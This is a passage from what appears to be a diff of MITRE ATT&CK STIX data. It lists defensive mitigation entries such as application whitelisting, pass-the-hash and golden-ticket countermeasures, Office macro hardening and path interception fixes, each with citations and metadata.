NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1046" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d256cb63-b021-4b4a-bb6d-1b42eea179a3", + "modified": "2019-07-25T11:17:30.100Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Network Share Connection Removal Mitigation", + "description": "Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1126", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1126" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb", + "modified": "2019-07-25T11:17:52.019Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Network Share Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1135", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1135" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1f34230d-b6ae-4dc7-8599-78c18820bd21", + "modified": "2019-07-25T11:18:18.170Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Network Sniffing Mitigation", + "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1040" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "modified": "2019-07-25T11:18:47.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "New Service Mitigation", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1050", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1050" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "modified": "2019-07-25T11:19:10.201Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Obfuscated Files or Information Mitigation", + "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.", + "external_references": [ + { + "external_id": "T1027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1027" + }, + { + "source_name": "Microsoft AMSI June 2015", + "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--a09375e5-63d2-4b65-8b0d-1cfe3e6304ca", + "modified": "2019-07-25T11:20:10.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Office Application Startup Mitigation", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)\n\nFor the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", + "external_references": [ + { + "external_id": "T1137", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1137" + }, + { + "description": "Microsoft Malware Protection Center. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved July 3, 2017.", + "source_name": "TechNet Office Macro Security", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/" + }, + { + "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", + "source_name": "Palo Alto Office Test Sofacy", + "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" + }, + { + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "source_name": "MRWLabs Office Persistence Add-ins", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + }, + { + "source_name": "SensePost Outlook Forms", + "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" + }, + { + "source_name": "SensePost Outlook Home Page", + "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", + "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", + "modified": "2019-07-25T11:20:31.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Operating System Configuration", + "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", + "external_references": [ + { + "external_id": "M1028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1028" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T21:16:18.709Z", + "id": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "modified": "2019-06-06T21:16:18.709Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Pass the Hash Mitigation", + "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1075", + "url": "https://attack.mitre.org/mitigations/T1075" + }, + { + "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.", + "source_name": "GitHub IAD Secure Host Baseline UAC Filtering", + "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e", + "modified": "2019-07-25T11:21:20.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Pass the Ticket Mitigation", + "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1097", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1097" + }, + { + "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.", + "source_name": "ADSecurity AD Kerberos Attacks", + "url": "https://adsecurity.org/?p=556" + }, + { + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", + "source_name": "CERT-EU Golden Ticket Protection", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d", + "modified": "2019-07-25T11:21:52.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Password Filter DLL Mitigation", + "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. (Citation: Microsoft Install Password Filter n.d)", + "external_references": [ + { + "external_id": "T1174", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1174" + }, + { + "source_name": "Microsoft Install Password Filter n.d", + "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651", + "modified": "2019-07-25T11:22:19.139Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Password Policies", + "description": "Set and enforce secure password policies for accounts.", + "external_references": [ + { + "external_id": "M1027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1027" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06T21:10:35.792Z", + "id": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-06-06T21:10:35.792Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Password Policy Discovery Mitigation", + "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)", + "external_references": [ + { + "external_id": "T1201", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1201" + }, + { + "source_name": "Microsoft Password Complexity", + "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a", + "modified": "2019-07-25T11:22:39.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Path Interception Mitigation", + "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.", + "external_references": [ + { + "external_id": "T1034", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1034" + }, + { + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "source_name": "Microsoft CreateProcess", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "MSDN DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx" + }, + { + "source_name": "Kanthak Sentinel", + "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "url": "https://skanthak.homepage.t-online.de/sentinel.html" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024", + "modified": "2019-07-25T11:23:00.772Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Peripheral Device Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1120", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1120" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f", + "modified": "2019-07-25T11:23:29.354Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Permission Groups Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1069", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1069" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 